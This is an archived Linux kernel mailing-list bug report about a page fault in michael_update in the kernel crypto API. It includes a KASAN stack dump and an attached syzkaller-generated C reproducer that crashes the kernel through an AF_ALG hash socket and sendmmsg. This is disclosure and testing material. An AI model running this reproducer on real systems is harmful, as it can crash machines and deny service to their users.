From: "Ubisectech Sirius" <bugreport@valiantsec.com>
To: "linux-kernel" <linux-kernel@vger.kernel.org>
Cc: "herbert" <herbert@gondor.apana.org.au>, "davem" <davem@davemloft.net>
Subject: BUG unable to handle kernel paging request in michael_update
Date: Tue, 30 Jul 2024 14:13:56 +0800 [thread overview]
Message-ID: <2b9bbcf0-869b-4dc5-99f9-41cf5f1c125d.bugreport@valiantsec.com> (raw)
[-- Attachment #1: Type: text/plain, Size: 5286 bytes --]
Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.
Stack dump:
BUG: unable to handle page fault for address: ffff8880549788c0
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
PGD 14601067 P4D 14601067 PUD 14604067 PMD 5d656063 PTE 800fffffab687060
Oops: 0000 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 PID: 10418 Comm: syz.2.73 Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:memcpy_orig+0x115/0x140 arch/x86/lib/memcpy_64.S:160
Code: 0f 1f 44 00 00 83 fa 04 72 1b 8b 0e 44 8b 44 16 fc 89 0f 44 89 44 17 fc c3 cc cc cc cc 0f 1f 84 00 00 00 00 00 83 ea 01 72 19 <0f> b6 0e 74 12 4c 0f b6 46 01 4c 0f b6 0c 16 44 88 47 01 44 88 0c
RSP: 0018:ffffc90001ba77f0 EFLAGS: 00010246
RAX: ffff888058eb3b00 RBX: 0000000000000001 RCX: ffffc90007921000
RDX: 0000000000000000 RSI: ffff8880549788c0 RDI: ffff888058eb3b00
RBP: ffff888058eb3b08 R08: 0000000000000005 R09: 0000000000000000
R10: 0000000000000001 R11: ffffffff81e23f44 R12: 0000000000000001
R13: ffff888058eb3af8 R14: 000000000000001d R15: 0000000000000000
FS: 00007fa947932640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffff8880549788c0 CR3: 0000000054a6c000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
michael_update+0x334/0x3d0 crypto/michael_mic.c:90
shash_ahash_update+0x178/0x1c0 crypto/ahash.c:71
crypto_ahash_update+0x7b/0x120 crypto/ahash.c:350
hash_sendmsg+0x354/0xfb0 crypto/algif_hash.c:149
sock_sendmsg_nosec net/socket.c:730 [inline]
__sock_sendmsg net/socket.c:745 [inline]
____sys_sendmsg+0xaaf/0xc70 net/socket.c:2584
___sys_sendmsg+0x11d/0x1c0 net/socket.c:2638
__sys_sendmmsg+0x18c/0x460 net/socket.c:2724
__do_sys_sendmmsg net/socket.c:2753 [inline]
__se_sys_sendmmsg net/socket.c:2750 [inline]
__x64_sys_sendmmsg+0x9c/0x100 net/socket.c:2750
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x6f/0x77
RIP: 0033:0x7fa946b958cd
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fa947931fa8 EFLAGS: 00000246 ORIG_RAX: 0000000000000133
RAX: ffffffffffffffda RBX: 00007fa946d33f60 RCX: 00007fa946b958cd
RDX: 0000000000000001 RSI: 0000000020000e40 RDI: 000000000000000b
RBP: 00007fa946c1bb06 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000008084 R11: 0000000000000246 R12: 0000000000000000
R13: 000000000000000b R14: 00007fa946d33f60 R15: 00007fa947912000
</TASK>
Modules linked in:
CR2: ffff8880549788c0
---[ end trace 0000000000000000 ]---
RIP: 0010:memcpy_orig+0x115/0x140 arch/x86/lib/memcpy_64.S:160
Code: 0f 1f 44 00 00 83 fa 04 72 1b 8b 0e 44 8b 44 16 fc 89 0f 44 89 44 17 fc c3 cc cc cc cc 0f 1f 84 00 00 00 00 00 83 ea 01 72 19 <0f> b6 0e 74 12 4c 0f b6 46 01 4c 0f b6 0c 16 44 88 47 01 44 88 0c
RSP: 0018:ffffc90001ba77f0 EFLAGS: 00010246
RAX: ffff888058eb3b00 RBX: 0000000000000001 RCX: ffffc90007921000
RDX: 0000000000000000 RSI: ffff8880549788c0 RDI: ffff888058eb3b00
RBP: ffff888058eb3b08 R08: 0000000000000005 R09: 0000000000000000
R10: 0000000000000001 R11: ffffffff81e23f44 R12: 0000000000000001
R13: ffff888058eb3af8 R14: 000000000000001d R15: 0000000000000000
FS: 00007fa947932640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffff8880549788c0 CR3: 0000000054a6c000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
----------------
Code disassembly (best guess):
0: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
5: 83 fa 04 cmp $0x4,%edx
8: 72 1b jb 0x25
a: 8b 0e mov (%rsi),%ecx
c: 44 8b 44 16 fc mov -0x4(%rsi,%rdx,1),%r8d
11: 89 0f mov %ecx,(%rdi)
13: 44 89 44 17 fc mov %r8d,-0x4(%rdi,%rdx,1)
18: c3 ret
19: cc int3
1a: cc int3
1b: cc int3
1c: cc int3
1d: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
24: 00
25: 83 ea 01 sub $0x1,%edx
28: 72 19 jb 0x43
* 2a: 0f b6 0e movzbl (%rsi),%ecx <-- trapping instruction
2d: 74 12 je 0x41
2f: 4c 0f b6 46 01 movzbq 0x1(%rsi),%r8
34: 4c 0f b6 0c 16 movzbq (%rsi,%rdx,1),%r9
39: 44 88 47 01 mov %r8b,0x1(%rdi)
3d: 44 rex.R
3e: 88 .byte 0x88
3f: 0c .byte 0xc
Thank you for taking the time to read this email and we look forward to working with you further.
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 5549 bytes --]
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#ifndef __NR_memfd_secret
#define __NR_memfd_secret 447
#endif
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
sleep_ms(10);
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
res = syscall(__NR_memfd_secret, /*flags=*/0ul);
if (res != -1)
r[0] = res;
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x3000ul,
/*prot=PROT_SEM|PROT_WRITE*/ 0xaul,
/*flags=MAP_FIXED|MAP_SHARED*/ 0x11ul, /*fd=*/r[0], /*offset=*/0ul);
syscall(__NR_ftruncate, /*fd=*/r[0], /*len=*/0x51a9497ul);
res = syscall(__NR_socket, /*domain=*/0x26ul, /*type=*/5ul, /*proto=*/0);
if (res != -1)
r[1] = res;
*(uint16_t*)0x20000240 = 0x26;
memcpy((void*)0x20000242, "hash\000\000\000\000\000\000\000\000\000\000", 14);
*(uint32_t*)0x20000250 = 0;
*(uint32_t*)0x20000254 = 0;
memcpy((void*)0x20000258,
"michael_mic-"
"generic\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000",
64);
syscall(__NR_bind, /*fd=*/r[1], /*addr=*/0x20000240ul, /*addrlen=*/0x58ul);
memcpy((void*)0x20000040, "\x4d\xc0\x7f\x94\x71\x63\x30\x0c", 8);
syscall(__NR_setsockopt, /*fd=*/r[1], /*level=*/0x117, /*opt=*/1,
/*key=*/0x20000040ul, /*keylen=*/8ul);
res = syscall(__NR_accept4, /*fd=*/r[1], /*peer=*/0ul, /*peerlen=*/0ul,
/*flags=SOCK_CLOEXEC*/ 0x80000ul);
if (res != -1)
r[2] = res;
*(uint64_t*)0x20000e40 = 0;
*(uint32_t*)0x20000e48 = 0;
*(uint64_t*)0x20000e50 = 0x20001340;
*(uint64_t*)0x20001340 = 0x200008c0;
memset((void*)0x200008c0, 233, 1);
*(uint64_t*)0x20001348 = 1;
*(uint64_t*)0x20001350 = 0;
*(uint64_t*)0x20001358 = 0;
*(uint64_t*)0x20001360 = 0;
*(uint64_t*)0x20001368 = 0;
*(uint64_t*)0x20000e58 = 3;
*(uint64_t*)0x20000e60 = 0;
*(uint64_t*)0x20000e68 = 0;
*(uint32_t*)0x20000e70 = 0;
*(uint32_t*)0x20000e78 = 0;
syscall(__NR_sendmmsg, /*fd=*/r[2], /*mmsg=*/0x20000e40ul, /*vlen=*/1ul,
/*f=MSG_MORE|MSG_EOR|MSG_DONTROUTE*/ 0x8084ul);
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
const char* reason;
(void)reason;
loop();
return 0;
}
reply other threads:[~2024-07-30 6:14 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=2b9bbcf0-869b-4dc5-99f9-41cf5f1c125d.bugreport@valiantsec.com \
--to=bugreport@valiantsec.com \
--cc=davem@davemloft.net \
--cc=herbert@gondor.apana.org.au \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®